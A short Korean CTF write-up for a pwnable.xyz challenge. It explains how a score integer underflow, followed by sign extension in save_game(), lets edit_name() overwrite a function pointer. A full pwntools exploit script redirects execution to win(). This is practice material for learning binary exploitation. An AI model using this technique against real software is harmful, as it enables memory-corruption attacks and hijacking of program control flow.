Tired of math already? Try getting the highest score possible.
Bug
정답을 맞추지 못하면 cur->score
가 1 감소한다.
만약 cur->score
가 0이었다면 메모리 상에서 0xffff
가 된다.
save_game()
에서 score
를 저장할 때 unsigned short
인 cur->score
를 8바이트로 캐스팅하는데,
이때 signed extension이 진행되어,
메모리 상에 0xffffffffffffffff
로 저장된다.
edit_name()
에서 strlen(cur)
만큼 read()
로 입력을 받는데, score
필드에 null byte가 없기 때문에 play
함수 포인터를 임의의 3바이트 값으로 덮어쓸 수 있다.
Exploit
from pwn import *
r = remote("svc.pwnable.xyz", 30009)
sla = r.sendlineafter
sa = r.sendafter
def play_game(answer=None):
sla(b"> ", b"1")
if answer is not None:
sla(b"= ", str(answer).encode())
def save_game():
sla(b"> ", b"2")
def edit_name(name):
sla(b"> ", b"3")
r.send(name)
win = 0x4009D6
sa(b"Name: ", b"a" * 16)
play_game(0)
save_game()
edit_name(b"a" * 0x18 + p64(win)[:3])
play_game() # call win()
r.interactive()
728x90